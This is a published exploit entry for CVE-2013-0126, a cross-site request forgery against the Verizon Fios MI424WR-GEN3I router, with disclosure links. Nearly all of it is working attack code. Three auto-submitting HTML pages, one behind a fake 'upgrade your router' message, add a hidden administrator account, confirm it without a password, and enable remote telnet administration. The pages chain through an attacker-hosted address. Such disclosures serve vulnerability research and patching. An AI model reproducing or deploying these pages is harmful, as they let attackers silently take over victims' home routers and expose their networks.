Verizon Fios Router MI424WR-GEN3I – Cross-Site Request Forgery
# Exploit Title: Verizon Fios Router CSRF Admin Shell # Date: Discovered and reported January 2013 # Author: Jacob Holcomb/Gimppy - Security Analyst @ Independent Security Evaluators # Software: Verizon FIOS Router - Firmware 40.19.36 (http://verizon.com) # CVE: CVE-2013-0126 # Advisory/Video: http://infosec42.blogspot.com/2013/03/verizon-fios-router-csrf-cve-2013-0126.html US CERT Disclosure: http://www.kb.cert.org/vuls/id/278204 Exploit Code: HTML FILE #1 <html> <title>Cisco Verizon FIOS CSRF - Adding Administrator User</title> <!--Cisco Model: MI424WR-GEN3I --> <!--Firmware Version: 40.19.36 --> <h1>Please sit tight while we upgrade your router</h1> <body> <form name="verizonCisco" action="http://192.168.1.1/index.cgi" method="post"> <input type="hidden" name="active_page" value="101"/> <input type="hidden" name="page_title" value="User Settings"/> <input type="hidden" name="mimic_button_field" value="submit_button_submit: .."/> <input type="hidden" name="button_value" value="."/> <input type="hidden" name="strip_page_top" value="0"/> <input type="hidden" name="user_id" value="-1"/> <input type="hidden" name="fullname_defval" value=""/> <input type="hidden" name="fullname" value="g42"/> <input type="hidden" name="username_defval" value=""/> <input type="hidden" name="username" value="G42"/> <input type="hidden" name="user_level" value="2"/> <input type="hidden" name="email_system_notify_level" value="15"/> <input type="hidden" name="email_security_notify_level" value="15"/> </form> <script> function CSRF1() {window.open("http://10.0.1.101/verizonFIOS2.html");};window.setTimeout(CSRF1,1000) function CSRF2() {document.verizonCisco.submit();};window.setTimeout(CSRF2,1000) </script> </body> </html> HTML FILE #2 <html> <title>Cisco Verizon FIOS CSRF2 - Add User w/ No Pass Confirmation</title> <body> <form name="verizonCiscoC" action="http://192.168.1.1/index.cgi" method="post"> <input type="hidden" name="active_page" value="101"/> <input type="hidden" name="page_title" value="User Settings"/> <input type="hidden" name="mimic_button_field" value="submit_button_confirm_submit: .."/> <input type="hidden" name="button_value" value="."/> <input type="hidden" name="strip_page_top" value="0"/> </form> <script> function CSRF1() {window.open("http://10.0.1.101/verizonFIOS3.html");};window.setTimeout(CSRF1,0500) function CSRF2() {document.verizonCiscoC.submit();};window.setTimeout(CSRF2,0500) </script> </body> </html> HTML FILE #3 <html> <title>Cisco Verizon FIOS CSRF3 - Enable Remote Administration</title> <body> <form name="verizonCiscoRemote" action="http://192.168.1.1/index.cgi" method="post"> <input type="hidden" name="active_page" value="9078"/> <input type="hidden" name="active_page_str" value="page_remote_admin"/> <input type="hidden" name="page_title" value="Remote Administration"/> <input type="hidden" name="mimic_button_field" value="submit_button_submit: .."/> <input type="hidden" name="button_value" value=""/> <input type="hidden" name="strip_page_top" value="0"/> <input type="hidden" name="is_telnet_primary" value="1"/> <input type="hidden" name="is_telnet_primary_defval" value="0"/> <input type="hidden" name="is_telnet_secondary_defval" value="0"/> <input type="hidden" name="is_telnet_ssl_defval" value="0"/> <input type="hidden" name="is_http_primary_defval" value="0"/> <input type="hidden" name="is_http_secondary_defval" value="0"/> <input type="hidden" name="is_https_primary_defval" value="0"/> <input type="hidden" name="is_https_secondary_defval" value="0"/> <input type="hidden" name="is_diagnostics_icmp_defval" value="0"/> <input type="hidden" name="is_diagnostics_traceroute_defval" value="0"/> <input type="hidden" name="is_telnet_secondary" value="1"/> </form> <script> function CSRF1() {document.verizonCiscoRemote.submit();};window.setTimeout(CSRF1,0000) </script> </body> </html> |